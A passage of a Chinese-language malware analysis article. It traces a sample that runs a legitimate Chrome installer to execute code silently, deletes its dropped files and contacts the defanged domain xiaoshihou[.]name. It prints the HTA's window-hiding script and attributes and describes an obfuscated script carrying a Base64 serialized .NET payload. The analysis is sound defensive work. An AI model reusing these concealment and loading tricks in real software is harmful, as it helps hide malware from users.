300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 复制文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">创建了一些进程，如 9wa.exe、W2ey7yY.exe 等。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005238" class="rich_pages wxw-img" data-ratio="0.4592833876221498" data-type="png" data-w="921" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=efe9ff91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAxlzwm6WHwoh0uBcuQc4lELrx92XggcbBCMjFJ9tZ8icBnUSeUDWG3Dg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 创建进程</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下载了一个 Chrome 安装程序，下载的目标文件是合法的官方安装程序文件。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005235" class="rich_pages wxw-img" data-ratio="0.07960741548527808" data-type="png" data-w="917" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=652aeea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnA52ux99Wsiaia91AYxP9c2ichDPGa8lBmxY1V6qJI98K1dPUibfKsp3tNFg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图7 下载 Chrome 安装程序</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">运行下载的 Chrome 安装程序，以便静默执行恶意代码。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005239" class="rich_pages wxw-img" data-ratio="0.6768518518518518" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d04fe037&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnA9Sq5kLbZSVvekvLjxyaqpKr6EdFwRX3JVG7bjbaroC5gBKhaMHv2Dw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图8 运行界面</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">删除了文件 yyD.zip、9wa.exe、msys-1.0.dll。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005237" class="rich_pages wxw-img" data-ratio="0.10740740740740741" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=13731ce2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAyRLRwLPxohogo3dlxbwicnKUwpvd6K27fYbwvRzQgJhIDVuToEm1aPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图9 删除文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">域名访问，其中可疑域名为 xiaoshihou[.]name。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005236" class="rich_pages wxw-img" data-ratio="0.10185185185185185" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e1857e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAmOccPYec0KNibY3jIfibkCBMH9ua62zLFic8sECExlFchE1wtHw6WYv6A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图10 域名访问</span></center><div data-role="title" data-tools="135编辑器" data-id="161894" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div><div style="display: flex;justify-content: flex-start;"><div style="margin-bottom: -25px;"><div style="border-radius: 100%;padding: 6px;background: linear-gradient(to left,rgba(86,222,209,0.8),transparent);box-sizing:border-box;"><div style="width: 32px;height: 32px;border-radius: 100%;background-color: #59e3d1;text-align: center;line-height: 34px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;"><strong><span leaf="">04</span></strong></p></div></div></div></div><div style="margin-left: 20px;"><div style="background: linear-gradient(to right,#084cc7,#137edd);border-radius: 15px 0 15px 0;padding: 8px 20px 8px 35px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf="">HTA分析</span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">head 标签中的 JavaScript 脚本会让将浏览器窗口移动到屏幕坐标为 (-3000, -3000) 的位置，窗口被移动到屏幕外，并将窗口的大小缩小到 0x0。其目的是</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">隐藏窗口</span></strong><span leaf="">，即使用户试图恢复该窗口，也无法看到它。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">&lt;HTA:APPLICATION&gt; 标签属性如下：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">SHOWINTASKBAR=”no”：应用程序不会显示在任务栏上。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">WindowState=”hidden”：应用程序窗口启动时是隐藏的。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">INNERBORDER=”NO”：没有窗口的内边框。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">MAXIMIZEBUTTON=”NO”：没有最大化按钮，用户不能将窗口最大化。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">MINIMIZEBUTTON=”NO”：没有最小化按钮，用户不能将窗口最小化。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">SCROLL=”NO”：不显示滚动条。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">SELECTION=”NO”：禁用文本选择功能，用户无法选中文本。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">SINGLEINSTANCE=”YES”：只能运行一个实例，如果尝试运行第二个实例，系统会忽略它。</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">lang</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;en&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">head</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">meta</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">charset</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;UTF-8&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">meta</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">http-equiv</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;X-UA-Compatible&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">content</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;IE=9&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">META</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">HTTP-EQUIV</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;MSThemeCompatible&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">CONTENT</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;YES&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">//console.log(111)</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">while</span>(<span class="code-snippet__literal">true</span>){</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>{</span></code><br/><code><span leaf=""><span class="code-snippet__variable">window</span>.<span class="code-snippet__title">moveTo</span>(-<span class="code-snippet__number">3000</span>, -<span class="code-snippet__number">3000</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__variable">window</span>.<span class="code-snippet__title">resizeTo</span>(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">break</span>;</span></code><br/><code><span leaf="">}<span class="code-snippet__keyword">catch</span>(e){}</span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">HTA:APPLICATION</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">SHOWINTASKBAR</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;no&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">WindowState</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;hidden&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">INNERBORDER</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;NO&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">MAXIMIZEBUTTON</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;NO&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">MINIMIZEBUTTON</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;NO&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">SCROLL</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;NO&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">SELECTION</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;NO&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">SINGLEINSTANCE</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;YES&#34;</span></span><span class="code-snippet__tag"> /&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">head</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf="">......</span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">script</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">第二个 JavaScript 脚本中包含大量混淆。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005243" class="rich_pages wxw-img" data-ratio="0.27685185185185185" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=37b0e9f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnATWm7RvnZF2Zzc6hXMfayWWNnYH9S2cSbLK827JicBEKXnp10jYiaYSGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图11 混淆</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">去混淆后的脚本中开头包含两个全局变量 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">serialized_obj4</span></strong><span leaf=""> 和 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">serialized_obj3</span></strong><span leaf="">，经 Base64 编码。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005240" class="rich_pages wxw-img" data-ratio="0.17543859649122806" data-type="png" data-w="1026" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=01240720&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAibqxwFwfawicN2kz7UPuic7fiaQ6dJ9FmvchBSLibmRcOEOhJvVAWBptbwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图12 serialized_obj4部分内容</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">以 serialized_obj4 为例，解码后的部分内容如下所示。解码后的内容显示了一个二进制数据的反序列化对象以及与 .NET 相关的一些类的结构，如序列化有关的 .NET 类 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">System.DelegateSerializationHolder</span></code><span leaf="">，反射相关的类 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">System.Reflection.MemberInfoSerializationHolder</span></code><span leaf=""> ，以及一个 PE 文件。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005244" class="rich_pages wxw-img" data-ratio="0.44610458911419426" data-type="png" data-w="937" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a77b5bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnADkN7rJLeDDwb8Z3dF7cVx84ITZiaDgvm3yMCCDHg3DoU8Eqtd25Aa9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图13 解码后的部分内容</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个 PE 文件实际上是 dll，dll 名称为 CshapeHostingBridageWrapperShowErrorWindow.dll，dll 中包含 SharpZipLib 全套组件，而 SharpZipLib 是一个完整的压缩与解压缩库。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005242" class="rich_pages wxw-img" data-ratio="0.7612809315866085" data-type="png" data-w="687" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" 